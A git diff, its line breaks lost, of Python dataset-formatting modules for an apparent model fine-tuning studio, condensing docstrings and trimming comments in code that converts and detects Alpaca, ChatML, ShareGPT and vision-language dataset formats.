-299,20 +244,10 @@ def _apply_template_mapping(meta: dict,batch_size: int = 1000,):- """- Apply advisor-driven mapping for non-conversational datasets.-- Groups columns by assigned role (user/assistant), concatenates values- within each role into one message, and injects an optional system prompt.- Label mapping converts integer labels to human-readable strings.-- Returns:- Dataset with single 'conversations' column- """+ """Apply advisor-driven mapping for non-conversational datasets: groups columns by assigned role (user/assistant), concatenates values within each role into one message, and injects an optional system prompt. Label mapping converts integer labels to human-readable strings. Returns a dataset with a single 'conversations' column."""system_prompt = meta.get("__system_prompt", "")label_mapping = meta.get("__label_mapping", {}) # {col: {int_str: label_str}}- # Group columns by canonical chatml rolerole_groups: dict[str, list[str]] = {"user": [], "assistant": []}for col, role in column_roles.items():canonical = _TO_CHATML.get(role, role)@@ -333,11 +268,9 @@ def _apply_template_mapping(for i in range(num):convo = []- # System prompt (generated, static across all rows)if system_prompt:convo.append({"role": "system", "content": system_prompt})- # User message: concatenate user-role column valuesuser_parts = []for col in role_groups["user"]:if col in examples:@@ -345,7 +278,6 @@ def _apply_template_mapping(if user_parts:convo.append({"role": "user", "content": "\n".join(user_parts)})- # Assistant message: concatenate assistant-role column valuesasst_parts = []for col in role_groups["assistant"]:if col in examples:@@ -369,15 +301,7 @@ def _apply_user_mapping_alpaca(mapping: dict,batch_size: int = 1000,):- """- Apply user-provided column mapping to convert dataset to Alpaca format.-- Accepts any format's role names — normalises via _TO_CHATML, then maps- user → instruction, system → input, assistant → output.-- Returns:- Dataset with instruction/input/output columns- """+ """Apply user-provided column mapping to convert dataset to Alpaca format. Accepts any format's role names, normalises via _TO_CHATML, then maps user -> instruction, system -> input, assistant -> output. Returns a dataset with instruction/input/output columns."""col_for: dict[str, str | None] = {"instruction": None,"input": None,@@ -433,22 +357,8 @@ def format_dataset(auto_detect_custom = True,custom_format_mapping = None,):- """- Formats dataset and returns metadata.-- Returns:- dict: {- "dataset": processed dataset,- "detected_format": original format detected,- "final_format": final format after processing,- "chat_column": column name with chat data,- "is_standardized": whether role names are standardized,- "requires_manual_mapping": True if detection failed and user must map columns,- "warnings": list of warning messages- }- """+ """Formats dataset and returns {dataset, detected_format, final_format, chat_column, is_standardized, requires_manual_mapping, warnings}."""- # Detect multimodal first (needed for all flows)multimodal_info = detect_multimodal_dataset(dataset)if format_type == "raw":@@ -465,7 +375,6 @@ def format_dataset("warnings": [notice.message for notice in raw_result.notices],}- # If user provided explicit mapping, skip detection and apply itif custom_format_mapping:try:if format_type == "alpaca":@@ -475,8 +384,7 @@ def format_dataset(final_format = "alpaca"chat_column = Noneelse:- # auto / chatml / sharegpt / conversational all produce chatml- # conversations (sharegpt standardized to role/content internally)+ # auto / chatml / sharegpt / conversational all produce chatml conversations (sharegpt standardized to role/content internally)mapped_dataset = _apply_user_mapping(dataset, custom_format_mapping, batch_size)final_format = "chatml_conversations"chat_column = "conversations"@@ -507,19 +415,15 @@ def format_dataset("warnings": [f"Failed to apply user mapping: {e}"],}- # Detect current formatdetected = detect_dataset_format(dataset)warnings = []- # Add multimodal warning if detectedif multimodal_info["is_image"]:warnings.append(f"Multimodal dataset detected. Found columns: {multimodal_info['multimodal_columns']}")- # AUTO MODE: Keep format but standardize if neededif format_type == "auto":- # Alpaca - keep as isif detected["format"] == "alpaca":return {"dataset": dataset,@@ -533,7 +437,6 @@ def format_dataset("warnings": [],}- # ShareGPT - needs standardizationelif detected["format"] == "sharegpt" and detected.get("chat_column"):try:standardized = standardize_chat_format(@@ -584,11 +487,9 @@ def format_dataset("warnings": warnings,}- # Unknown - try standardization, pass as-is on failureelse:warnings.append(f"Unknown format detected. Keys found: {detected['sample_keys']}")- # Try heuristic detectionif auto_detect_custom:custom_mapping = detect_custom_format_heuristic(dataset)if custom_mapping:@@ -598,7 +499,6 @@ def format_dataset(conversations = []num_examples = len(examples[list(examples.keys())[0]])- # Preserve non-mapped columnsall_columns = set(examples.keys())mapped_columns = set(custom_mapping.keys())preserved_columns = {@@ -635,7 +535,6 @@ def format_dataset(except Exception as e:warnings.append(f"Auto-detection failed: {e}")- # Try standardization as a last resortif detected["chat_column"]:try:standardized = standardize_chat_format(@@ -675,7 +574,6 @@ def format_dataset("warnings": warnings,}- # ALPACA MODE: Convert to Alpacaelif format_type == "alpaca":if detected["format"] == "alpaca":return {@@ -692,7 +590,6 @@ def format_dataset(elif detected["format"] in ["sharegpt", "chatml"] and detected.get("chat_column"):try:- # First standardize if ShareGPTif detected["format"] == "sharegpt":dataset = standardize_chat_format(dataset,@@ -705,7 +602,6 @@ def format_dataset(chat_column = detected["chat_column"],)- # Then convert to Alpacaconverted = convert_chatml_to_alpaca(dataset,batch_size,@@ -751,7 +647,6 @@ def format_dataset("warnings": warnings,}- # CHATML MODE: Convert to ChatMLelif format_type in ["chatml", "conversational", "sharegpt"]:if detected["format"] == "alpaca":converted = convert_alpaca_to_chatml(dataset, batch_size, num_proc)@@ -868,7 +763,6 @@ def format_and_template_dataset(is_vlm = False,format_type = "auto",vlm_instruction = None,- # VLM-specific parametersvlm_text_column = None,vlm_image_column = None,dataset_name = None,@@ -895,25 +789,7 @@ def format_and_template_dataset(num_proc = None,progress_callback = None,):- """- Combines format_dataset and apply_chat_template_to_dataset. Convenient for- UI workflows: one function does everything.-- custom_prompt_template is retained for signature compatibility. Non-None values are rejected- because Studio cannot persist a matching inference template.-- Returns:- dict: {- "dataset": Final dataset with 'text' column,- "detected_format": Original format,- "final_format": Format after processing,- "success": Whether template application succeeded,- "requires_manual_mapping": True if detection failed and user must map columns,- "warnings": List of warnings,- "errors": List of errors,- "summary": Human-readable summary- }- """+ """Combines format_dataset and apply_chat_template_to_dataset, for UI workflows where one call does everything. custom_prompt_template is retained for signature compatibility; non-None values are rejected because Studio cannot persist a matching inference template. Returns {dataset (with a 'text' column), detected_format, final_format, success, requires_manual_mapping, warnings, errors, summary}."""custom_prompt_error = _custom_prompt_template_error(custom_prompt_template)if custom_prompt_error:@@ -930,16 +806,13 @@ def format_and_template_dataset("summary": None,}- # VLM FLOWif is_vlm:warnings = []errors = []multimodal_info = detect_multimodal_dataset(dataset)- # If user provided explicit mapping for VLM, use it directlyif custom_format_mapping:- # Expect mapping like: {"image_col": "image", "caption_col": "text"}user_vlm_image_column = Noneuser_vlm_text_column = None@@ -1000,10 +873,8 @@ def format_and_template_dataset("errors": errors,}- # Auto-detect VLM structurevlm_structure = detect_vlm_dataset_structure(dataset)- # Handle Llava formatif vlm_structure["format"] == "vlm_messages_llava":try:dataset = convert_llava_to_vlm_format(dataset)@@ -1027,7 +898,6 @@ def format_and_template_dataset("errors": errors,}- # ShareGPT/ChatML + image column (e.g. ShareGPT4V, LLaVA-style)elif vlm_structure["format"] == "sharegpt_with_images":try:dataset = convert_sharegpt_with_images_to_vlm_format(@@ -1055,7 +925,6 @@ def format_and_template_dataset("errors": errors,}- # Handle simple formatelif vlm_structure["needs_conversion"]:if vlm_text_column is None:vlm_text_column = vlm_structure["text_column"]@@ -1126,7 +995,6 @@ def format_and_template_dataset("errors": errors,}- # Already in standard VLM formatelif vlm_structure["format"] == "vlm_messages":dataset = [sample for sample in dataset]warnings.append("Dataset already in standard VLM messages format")@@ -1146,9 +1014,7 @@ def format_and_template_dataset("errors": errors,}- # LLM FLOWelse:- # Step 1: Format the datasetn_rows = len(dataset) if hasattr(dataset, "__len__") else Noneif progress_callback and n_rows:progress_callback(status_message = f"Formatting dataset ({n_rows:,} rows)...")@@ -1180,7 +1046,6 @@ def format_and_template_dataset("summary": summary,}- # Step 2: Apply chat templatedetected = dataset_info.get("detected_format", "unknown")if progress_callback and n_rows:progress_callback(@@ -1207,10 +1072,8 @@ def format_and_template_dataset(progress_callback = progress_callback,)- # Step 3: Generate summarysummary = get_dataset_info_summary(dataset_info)- # Combine resultsall_warnings = dataset_info.get("warnings", []) + template_result.get("warnings", [])all_errors = template_result.get("errors", [])@@ -1219,8 +1082,7 @@ def format_and_template_dataset(requires_manual = dataset_info.get("requires_manual_mapping", False)if final_format == "unknown" and template_result["success"]:out_ds = template_result["dataset"]- # IterableDataset.column_names can be None after .map() loses features;- # guard to avoid `"text" in None` -> TypeError on streaming datasets.+ # IterableDataset.column_names can be None after .map() loses features; guard to avoid `"text" in None` -> TypeError on streaming datasets.out_columns = getattr(out_ds, "column_names", None)if out_columns is not None and "text" in out_columns:final_format = "chatml_conversations"diff --git a/studio/backend/utils/datasets/format_conversion.py b/studio/backend/utils/datasets/format_conversion.pyindex 27bfee4499e..8bafa30ac74 100644--- a/studio/backend/utils/datasets/format_conversion.py+++ b/studio/backend/utils/datasets/format_conversion.py@@ -12,11 +12,7 @@ logger = get_logger(__name__)def _quiet_bar_kwargs() -> dict:- """Send our own conversion bars to a null stream while the log is quiet.-- They still count (the UI status poller reads tqdm._instances), they just do not- write carriage-return fragments beside the worker's structured records.- """+ """Send our own conversion bars to a null stream while the log is quiet. They still count (the UI status poller reads tqdm._instances), they just do not write carriage-return fragments beside the worker's structured records."""try:from loggers.config import quiet_bar_kwargsreturn quiet_bar_kwargs()@@ -44,14 +40,10 @@ def standardize_chat_format(num_proc = None,chat_column: str | None = None,):- """- Standardize BOTH messages and conversations: map non-standard role- names and keys to the standard format.- """+ """Standardize BOTH messages and conversations: map non-standard role names and keys to the standard format."""import collectionsimport itertools- # Check if vision tokenizer is usedis_vlm = Falseif tokenizer is not None:if hasattr(tokenizer, "image_processor") or hasattr(tokenizer, "tokenizer"):@@ -114,7 +106,6 @@ def standardize_chat_format(else:raise ValueError(f"Could not infer role/content keys for chat column '{chat_column}'")- # Mapping for aliasesaliases_mapping = {}for x in aliases_for_system:aliases_mapping[x] = "system"@@ -136,8 +127,7 @@ def standardize_chat_format(if not isinstance(message, dict):continue- # Use the inferred keys first; fall back per-message so mixed- # ShareGPT/ChatML rows keep valid turns.+ # Use the inferred keys first, falling back per-message so mixed ShareGPT/ChatML rows keep valid turns.original_role = message.get(role_key)original_content = message.get(content_key)if original_role is None:@@ -150,7 +140,6 @@ def standardize_chat_format(if is_vlm:original_content = [{"type": "text", "text": original_content}]- # Keep EXPLICIT key ordernew_message = {"role": standard_role, "content": original_content}new_convo.append(new_message)@@ -176,9 +165,7 @@ def standardize_chat_format(result = dataset.map(_standardize_dataset, **dataset_map_kwargs)- # For streaming, force the first mapped row through now so any- # column/format errors surface before training begins (not mid-iteration).- # IterableDataset re-iterates from the generator source, so this is safe.+ # For streaming, force the first mapped row through now so column/format errors surface before training rather than mid-iteration; IterableDataset re-iterates from the generator source, so this is safe.if is_streaming_dataset(dataset):try:next(iter(result))@@ -196,13 +183,7 @@ def convert_chatml_to_alpaca(num_proc = None,chat_column: str | None = None,):- """- Convert ChatML (messages OR conversations) to Alpaca format.-- Supports:- - "messages" or "conversations" column- - "role"/"content" (standard) or "from"/"value" (ShareGPT)- """+ """Convert ChatML to Alpaca format. Accepts a "messages" or "conversations" column with either standard "role"/"content" or ShareGPT "from"/"value" keys."""is_iterable = is_streaming_dataset(dataset)def _convert(examples):@@ -224,14 +205,11 @@ def convert_chatml_to_alpaca(output = ""for msg in convo:- # Standard and ShareGPT key namesrole = msg.get("role") or msg.get("from")content = msg.get("content") or msg.get("value")- # First user message -> instructionif role in ["user", "human", "input"] and not instruction:instruction = content- # First assistant message -> outputelif role in ["assistant", "gpt", "output"] and not output:output = contentbreak@@ -260,9 +238,7 @@ def convert_chatml_to_alpaca(result = dataset.map(_convert, **dataset_map_kwargs)- # For streaming, force the first mapped row through now so any- # column/format errors surface before training begins (not mid-iteration).- # IterableDataset re-iterates from the generator source, so this is safe.+ # For streaming, force the first mapped row through now so column/format errors surface before training rather than mid-iteration; IterableDataset re-iterates from the generator source, so this is safe.if is_iterable:try:next(iter(result))@@ -279,11 +255,7 @@ def convert_alpaca_to_chatml(batch_size = 1000,num_proc = None,):- """- Convert Alpaca format to ChatML format.-- Output: 'conversations' column with standard 'role'/'content' dicts.- """+ """Convert Alpaca format to ChatML: a 'conversations' column of standard 'role'/'content' dicts."""is_iterable = is_streaming_dataset(dataset)def _convert(examples):@@ -294,7 +266,6 @@ def convert_alpaca_to_chatml(input_text = examples.get("input", [""] * len(examples["instruction"]))[i]output = examples["output"][i]- # User message = instruction + input (if any)if input_text and input_text.strip():user_content = f"{instruction}\n\n{input_text}".strip()else:@@ -326,9 +297,7 @@ def convert_alpaca_to_chatml(result = dataset.map(_convert, **dataset_map_kwargs)- # For streaming, force the first mapped row through now so any- # column/format errors surface before training begins (not mid-iteration).- # IterableDataset re-iterates from the generator source, so this is safe.+ # For streaming, force the first mapped row through now so column/format errors surface before training rather than mid-iteration; IterableDataset re-iterates from the generator source, so this is safe.if is_iterable:try:next(iter(result))@@ -361,18 +330,9 @@ def convert_to_vlm_format(dataset_name = None,progress_callback = None,):- """- Convert simple {image, text} format to VLM messages format.-- Returns a LIST, not a HuggingFace Dataset (to preserve PIL Images).- For URL-based datasets, runs a 200-sample parallel probe first to- estimate speed/failure rate via progress_callback.+ """Convert simple {image, text} format to VLM messages format.- Args:- progress_callback: Optional callable(status_message=str) for progress.-- Returns:- list: List of dicts with 'messages' field+ Returns a LIST of dicts with a 'messages' field, not a HuggingFace Dataset, to preserve PIL Images. For URL-based datasets, runs a 200-sample parallel probe first to estimate speed and failure rate via progress_callback, an optional callable(status_message=str)."""from PIL import Imagefrom .vlm_processing import generate_smart_vlm_instruction@@ -382,7 +342,6 @@ def convert_to_vlm_format(if progress_callback:progress_callback(status_message = msg)- # Generate a smart instruction if none providedif instruction is None:instruction_info = generate_smart_vlm_instruction(dataset,@@ -431,13 +390,11 @@ def convert_to_vlm_format(else:image_data = Image.open(image_data).convert("RGB")- # Text: if a list (e.g. multiple captions), pick one at randomtext_data = sample[text_column]if isinstance(text_data, list) and len(text_data) > 0:import randomtext_data = random.choice(text_data)- # Instruction: static or dynamicif uses_dynamic and instruction_column:current_instruction = sample[instruction_column]else:@@ -460,8 +417,7 @@ def convert_to_vlm_format(first_image = next(iter(dataset))[image_column]has_urls = isinstance(first_image, str) and first_image.startswith(("http://", "https://"))- # ── Bare-filename detection: build a basename→repo_path lookup so- # filename-only images resolve via hf_hub_download during conversion.+ # Bare-filename detection: build a basename to repo_path lookup so filename-only images resolve via hf_hub_download during conversion._image_lookup = None_IMAGE_EXTS = (".png", ".jpg", ".jpeg", ".webp", ".gif", ".bmp", ".tiff")if (@@ -496,7 +452,7 @@ def convert_to_vlm_format(logger.info(f"⚠️ Failed to build HF repo image lookup: {e}")_image_lookup = None- # ── URL probe: 200 parallel samples to estimate speed + failure rate ──+ # URL probe: 200 parallel samples to estimate speed and failure rate.PROBE_SIZE = 200MAX_FAIL_RATE = 0.3@@ -533,7 +489,6 @@ def convert_to_vlm_format(f"{fail_rate:.0%} of the first {PROBE_SIZE} image URLs failed to download ({probe_fail}/{probe_total})","Images are external URLs, not embedded in the dataset",]- # LLM-friendly warningfriendly = Nonetry:from .llm_assist import llm_generate_dataset_warning@@ -555,7 +510,6 @@ def convert_to_vlm_format(_notify(msg)raise ValueError(msg)- # Estimate time for remaining samplesremaining = total - PROBE_SIZEestimated_seconds = remaining / throughput if throughput > 0 else 0eta_str = _format_eta(estimated_seconds)@@ -573,7 +527,6 @@ def convert_to_vlm_format(logger.info(f"⏱️ Estimated time for {total:,} samples: ~{eta_str}")_notify(info_msg)- # ── Full conversion with progress ──from tqdm import tqdmlogger.info(f"🔄 Converting {total} samples to VLM format...")@@ -581,7 +534,6 @@ def convert_to_vlm_format(failed_count = 0if has_urls:- # Parallel conversion for URL-based datasetsimport timefrom concurrent.futures import ThreadPoolExecutor, as_completedfrom utils.hardware import safe_thread_num_proc@@ -611,7 +563,6 @@ def convert_to_vlm_format(converted_list.extend(r for r in batch_results if r is not None)- # Per-batch progress updateelapsed = time.time() - start_timedone = batch_endrate = done / elapsed if elapsed > 0 else 0@@ -623,7 +574,6 @@ def convert_to_vlm_format()_notify(progress_msg)else:- # Sequential conversion for local/embedded images (no I/O bottleneck)pbar = tqdm(dataset,total = total,@@ -637,7 +587,6 @@ def convert_to_vlm_format(except Exception as e:failed_count += 1if failed_count == 1:- # Log the first failure to aid debugginglogger.info(f"First VLM conversion failure: {type(e).__name__}: {e}")pbar.set_postfix(ok = len(converted_list), failed = failed_count, refresh = False)pbar.close()@@ -647,7 +596,7 @@ def convert_to_vlm_format(logger.info(f"⚠️ Skipped {failed_count}/{total} ({fail_rate:.0%}) samples with broken/unreachable images")- # Small URL datasets skip the probe; check fail rate here+ # Small URL datasets skip the probe, so check the fail rate here.if has_urls and fail_rate >= MAX_FAIL_RATE:issues = [f"{fail_rate:.0%} of images failed to download ({failed_count}/{total})",@@ -700,7 +649,6 @@ def convert_to_vlm_format(logger.info(f"✅ Converted {len(converted_list)}/{total} samples")_notify(f"Converted {len(converted_list):,}/{total:,} images successfully")- # Return list, NOT a Datasetreturn converted_list@@ -711,22 +659,7 @@ def convert_sharegpt_with_images_to_vlm_format(dataset_name = None,progress_callback = None,):- """- Convert ShareGPT/ChatML datasets with a separate image column and- ``<image>`` placeholders in the conversation text.-- Example input::-- {- "image": "sam/images/sa_545504.jpg",- "conversations": [- {"from": "human", "value": "<image>\\nWhat is this photo about?"},- {"from": "gpt", "value": "The image captures..."}- ]- }-- Returns a list of dicts in standard VLM messages format (PIL Images inline).- """+ """Convert ShareGPT/ChatML datasets carrying a separate image column and ``<image>`` placeholders in the conversation text, e.g. {"image": "sam/images/sa_545504.jpg", "conversations": [{"from": "human", "value": "<image> What is this photo about?"}, ...]}. Returns a list of dicts in standard VLM messages format, PIL Images inline."""from PIL import Imagefrom tqdm import tqdm@@ -743,7 +676,7 @@ def convert_sharegpt_with_images_to_vlm_format(if progress_callback:progress_callback(status_message = msg)- # ── Resolve image loading (same 3-tier as convert_to_vlm_format) ──+ # Resolve image loading, the same 3 tiers as convert_to_vlm_format.total = len(dataset)first_image = next(iter(dataset))[image_column]@@ -767,7 +700,7 @@ def convert_sharegpt_with_images_to_vlm_format(for f in repo_filesif any(f.lower().endswith(ext) for ext in _IMAGE_EXTS)}- # Also key by full relative path (e.g. "sam/images/sa_545504.jpg")+ # Also key by the full relative path, e.g. "sam/images/sa_545504.jpg".for f in repo_files:if any(f.lower().endswith(ext) for ext in _IMAGE_EXTS):_image_lookup[f] = f@@ -826,7 +759,6 @@ def convert_sharegpt_with_images_to_vlm_format(role = _ROLE_MAP.get(role_raw.lower(), role_raw.lower())text = msg.get("value") or msg.get("content") or ""- # Interleave text and image blocks around <image>if "<image>" in text:parts = text.split("<image>")content = []@@ -836,7 +768,6 @@ def convert_sharegpt_with_images_to_vlm_format(content.append({"type": "text", "text": part})if i < len(parts) - 1:content.append({"type": "image", "image": pil_image})- # If text was only <image>, content is just the imageif not content:content.append({"type": "image", "image": pil_image})else:@@ -846,7 +777,6 @@ def convert_sharegpt_with_images_to_vlm_format(return {"messages": new_messages}- # ── Full conversion with progress ──logger.info(f"🔄 Converting {total} samples from ShareGPT+image format...")converted_list = []failed_count = 0@@ -883,16 +813,7 @@ def convert_sharegpt_with_images_to_vlm_format(def convert_llava_to_vlm_format(dataset):- """- Convert Llava format to standard VLM format.-- Llava format:- - messages: [{'content': [{'type': 'image', 'index': 0}, {'type': 'text', 'text': '...'}]}]- - images: [PIL_Image1, PIL_Image2, ...]-- Standard VLM format:- - messages: [{'content': [{'type': 'image', 'image': PIL_Image}, {'type': 'text', 'text': '...'}]}]- """+ """Convert Llava format to standard VLM format: Llava carries messages whose content blocks name an image by {'type': 'image', 'index': 0} plus a parallel images list, while the standard form inlines the PIL object as {'type': 'image', 'image': PIL_Image}."""from PIL import Imagelogger.info(f"🔄 Converting {len(dataset)} samples from Llava format to standard VLM format...")@@ -908,12 +829,10 @@ def convert_llava_to_vlm_format(dataset):for item in msg["content"]:if item["type"] == "image":- # Replace index with the actual PIL imageif "index" in item and item["index"] is not None:img_idx = item["index"]if img_idx < len(images):pil_image = images[img_idx]- # Ensure PILif isinstance(pil_image, str):pil_image = Image.open(pil_image).convert("RGB")@@ -924,7 +843,6 @@ def convert_llava_to_vlm_format(dataset):})else:- # No index: use the first imageif len(images) > 0:pil_image = images[0]if isinstance(pil_image, str):diff --git a/studio/backend/utils/datasets/format_detection.py b/studio/backend/utils/datasets/format_detection.pyindex 4d3ff0f52fb..5b52fe546a9 100644--- a/studio/backend/utils/datasets/format_detection.py+++ b/studio/backend/utils/datasets/format_detection.py@@ -126,16 +126,7 @@ def _detect_conversation_column(rows: list[dict], column_names: list[str]) -> didef detect_dataset_format(dataset):- """Detect dataset format by inspecting structure.-- Returns:- dict: {- "format": "alpaca" | "sharegpt" | "chatml" | "unknown",- "chat_column": str | None,- "needs_standardization": bool,- "sample_keys": list of keys found in messages (for debugging)- }- """+ """Detect dataset format by inspecting structure: {"format": alpaca/sharegpt/chatml/unknown, "chat_column": str or None, "needs_standardization": bool, "sample_keys": keys found in messages}."""sample_rows = _sample_dataset_rows(dataset)if not sample_rows:return {@@ -148,7 +139,6 @@ def detect_dataset_format(dataset):column_names = _get_dataset_column_names(dataset, sample_rows[0])column_name_set = set(column_names)- # Alpacaalpaca_columns = {"instruction", "output"}if alpaca_columns.issubset(column_name_set):return {@@ -171,14 +161,7 @@ def detect_dataset_format(dataset):def detect_custom_format_heuristic(dataset):- """Detection with priority scoring.-- Strategy for ambiguous keywords like 'task':- 1. Detect assistant first (unambiguous)- 2. Detect user using high-priority keywords first- 3. Check REMAINING columns for system keywords (including 'task')- 4. Only if no system match, use 'task' as fallback user- """+ """Detection with priority scoring. For ambiguous keywords like 'task': detect the assistant first (unambiguous), then the user by high-priority keywords, then check the REMAINING columns for system keywords (including 'task'), and only fall back to 'task' as the user column when nothing matched system."""sample = next(iter(dataset))all_columns = list(sample.keys())@@ -226,7 +209,6 @@ def detect_custom_format_heuristic(dataset):"task",]- # Metadata columns to ignore.metadata_exact_match = {"id","idx",@@ -357,7 +339,6 @@ def detect_custom_format_heuristic(dataset):assistant_potential = [col for col in content_columns if has_keyword(col, assistant_words)]user_potential = [col for col in content_columns if has_keyword(col, user_words)]- # STEP 1: best ASSISTANT columnassistant_candidates = []for col in assistant_potential:score = score_column(col, assistant_words, "assistant", len(assistant_potential))@@ -371,7 +352,6 @@ def detect_custom_format_heuristic(dataset):else:assistant_col = None- # STEP 2: best USER column (penalizing ambiguous keywords)user_candidates = []for col in user_potential:if col == assistant_col:@@ -387,7 +367,6 @@ def detect_custom_format_heuristic(dataset):else:user_col = None- # STEP 3: check remaining columns for SYSTEM matchesremaining_columns = [col for col in content_columns if col not in mapping]system_col = None@@ -397,14 +376,13 @@ def detect_custom_format_heuristic(dataset):system_col = colbreak- # STEP 4: handle any additional remaining columnsif system_col:remaining_columns = [col for col in remaining_columns if col != system_col]if len(remaining_columns) >= 1:remaining_col = remaining_columns[0]- # No strong keyword match: decide by what's missing.+ # No strong keyword match: decide by what is missing.if not has_keyword(remaining_col, user_words + assistant_words):mapping[remaining_col] = "system"elif user_col is None:@@ -412,7 +390,6 @@ def detect_custom_format_heuristic(dataset):else:mapping[remaining_col] = "system"- # Ensure at least user + assistant.has_user = any(role == "user" for role in mapping.values())has_assistant = any(role == "assistant" for role in mapping.values())@@ -430,12 +407,7 @@ def detect_custom_format_heuristic(dataset):def detect_multimodal_dataset(dataset):- """Detect multimodal data (images and/or audio) in a dataset.-- Two passes per modality: column-name keyword heuristic, then value-type- inspection. Returns a dict with is_image/is_audio flags, detected columns,- modality types, and detected audio/text/speaker columns.- """+ """Detect multimodal data (images and/or audio) in a dataset. Two passes per modality, a column-name keyword heuristic then value-type inspection, returning is_image/is_audio flags, detected columns, modality types and detected audio/text/speaker columns."""sample = next(iter(dataset))column_names = list(sample.keys())@@ -465,8 +437,7 @@ def detect_multimodal_dataset(dataset):audio_columns = []modality_types = set()- # ── Image detection ─────────────────────────────────────- # Pass 1: column-name heuristic (word-boundary match)+ # Image detection pass 1: column-name heuristic (word-boundary match).for col_name in column_names:for keyword in image_keywords:if _keyword_in_column(keyword, col_name):@@ -474,7 +445,7 @@ def detect_multimodal_dataset(dataset):modality_types.add(keyword)break- # Pass 2: inspect actual values+ # Pass 2: inspect actual values.already_detected = set(multimodal_columns)for col_name in column_names:if col_name in already_detected:@@ -484,8 +455,7 @@ def detect_multimodal_dataset(dataset):multimodal_columns.append(col_name)modality_types.add("image")- # ── Audio detection ─────────────────────────────────────- # Pass 1: column-name heuristic (word-boundary match)+ # Audio detection pass 1: column-name heuristic (word-boundary match).for col_name in column_names:for keyword in audio_keywords:if _keyword_in_column(keyword, col_name):@@ -493,7 +463,7 @@ def detect_multimodal_dataset(dataset):modality_types.add("audio")break- # Pass 2: inspect actual values (catches non-obvious column names)+ # Pass 2: inspect actual values, catching non-obvious column names.already_audio = set(audio_columns)for col_name in column_names:if col_name in already_audio:@@ -503,13 +473,11 @@ def detect_multimodal_dataset(dataset):audio_columns.append(col_name)modality_types.add("audio")- # Drop audio columns from the image list (a {"bytes","path"} audio column- # can match _is_image_value).+ # Drop audio columns from the image list: a {"bytes","path"} audio column can match _is_image_value.if audio_columns:audio_set = set(audio_columns)multimodal_columns = [c for c in multimodal_columns if c not in audio_set]- # Text column for audio datasets.detected_text_col = Noneif audio_columns:text_keywords = ["text", "sentence", "transcript", "transcription", "label"]@@ -553,8 +521,7 @@ def _is_image_value(value) -> bool:except ImportError:pass- # HF Image feature: decoded as PIL, or {"bytes", "path"} when undecoded.- # Exclude audio dicts (decoded audio has "array" + "sampling_rate").+ # HF Image feature: decoded as PIL, or {"bytes", "path"} when undecoded. Exclude audio dicts, whose decoded form has "array" + "sampling_rate".if isinstance(value, dict):if "array" in value and "sampling_rate" in value:return False@@ -570,7 +537,6 @@ def _is_image_value(value) -> bool:if isinstance(value, (bytes, bytearray)):return _has_image_header(value)- # String that looks like an image file path or URL._IMAGE_EXTS = (".png", ".jpg", ".jpeg", ".webp", ".gif", ".bmp", ".tiff", ".svg")if isinstance(value, str) and len(value) < 1000:lower = value.strip().lower()@@ -634,11 +600,7 @@ def _has_image_header(data: bytes) -> bool:def detect_vlm_dataset_structure(dataset):- """Detect which VLM dataset shape this is:- - Standard VLM messages (image objects in content)- - Llava format (image indices + separate images column)- - Simple format needing conversion (image + text columns)- """+ """Detect which VLM dataset shape this is: standard VLM messages (image objects in content), Llava format (image indices plus a separate images column), or a simple image + text pair needing conversion."""try:sample = next(iter(dataset))except StopIteration:@@ -662,7 +624,6 @@ def detect_vlm_dataset_structure(dataset):if isinstance(content, list) and len(content) > 0:if isinstance(content[0], dict) and "type" in content[0]:- # Llava format?has_index = any("index" in item for item in content if isinstance(item, dict))@@ -677,7 +638,6 @@ def detect_vlm_dataset_structure(dataset):"text_column": None,}- # Standard VLM formathas_image = any("image" in item for item in content if isinstance(item, dict))@@ -690,8 +650,7 @@ def detect_vlm_dataset_structure(dataset):"text_column": None,}- # ShareGPT/ChatML conversations with <image> placeholder + companion- # image column (e.g. Lin-Chen/ShareGPT4V, LLaVA-style datasets)+ # ShareGPT/ChatML conversations with an <image> placeholder plus a companion image column, e.g. Lin-Chen/ShareGPT4V and LLaVA-style datasets.for chat_col in ("conversations", "messages"):if chat_col not in column_names:continue@@ -712,7 +671,6 @@ def detect_vlm_dataset_structure(dataset):)if not has_image_placeholder:continue- # Find companion image column.image_col = Nonefor col in column_names:if col == chat_col:@@ -729,7 +687,6 @@ def detect_vlm_dataset_structure(dataset):"messages_column": chat_col,}- # Find image and text columns, filtering out metadata patternsmetadata_patterns = {"suffixes": ["_id",@@ -789,11 +746,9 @@ def detect_vlm_dataset_structure(dataset):def _score_image_candidate(col, sample_value):"""Score a candidate image column by how resolvable its value is."""- # PIL Image (already loaded) -> highest.if hasattr(sample_value, "size") and hasattr(sample_value, "mode"):return 100- # HF Image feature dict.if isinstance(sample_value, dict) and ("bytes" in sample_value or "path" in sample_value):return 75@@ -810,15 +765,12 @@ def detect_vlm_dataset_structure(dataset):"""Probe whether an image candidate is reachable (True unless definitely broken)."""import os- # PIL / dict - already loaded.if not isinstance(sample_value, str):return True- # Local file - check it exists.if not sample_value.startswith(("http://", "https://")):return os.path.exists(sample_value)- # URL - quick HEAD with short timeout.try:import urllib.request@@ -832,7 +784,6 @@ def detect_vlm_dataset_structure(dataset):"""Find image column by keyword match + value-based fallback, probing for one that works."""candidates = []- # Pass 1: keyword-matched columns.for col in column_names:if any(_keyword_in_column(keyword, col) for keyword in image_keywords):sample_value = sample[col]@@ -840,8 +791,7 @@ def detect_vlm_dataset_structure(dataset):if score > 0:candidates.append((col, score))- # Pass 2: value-based fallback for image URLs/paths even when the name- # doesn't match keywords.+ # Pass 2: value-based fallback for image URLs/paths even when the name does not match keywords.already = {c[0] for c in candidates}for col in column_names:if col in already:@@ -857,17 +807,15 @@ def detect_vlm_dataset_structure(dataset):candidates.sort(key = lambda x: x[1], reverse = True)- # Single candidate or top is PIL/dict - no probing needed.if len(candidates) == 1 or candidates[0][1] >= 75:return candidates[0][0]- # Multiple string candidates - probe for one that works.for col, score in candidates:sample_value = sample[col]if _probe_image_candidate(col, sample_value):return col- # None probed OK - return highest-scored; conversion may still resolve it.+ # None probed OK: return the highest-scored, since conversion may still resolve it.return candidates[0][0]def find_text_column():@@ -890,7 +838,7 @@ def detect_vlm_dataset_structure(dataset):and len(sample_value) > 0and isinstance(sample_value[0], str)):- # List of strings (e.g. captions) - lower priority than plain str.+ # List of strings, e.g. captions, ranks below a plain str.priority = min(len(sample_value[0]), 1000) // 2candidates.append((col, priority))diff --git a/studio/backend/utils/datasets/llm_assist.py b/studio/backend/utils/datasets/llm_assist.pyindex f9c9fdb8931..0d823ca8c3c 100644--- a/studio/backend/utils/datasets/llm_assist.py+++ b/studio/backend/utils/datasets/llm_assist.py@@ -1,12 +1,7 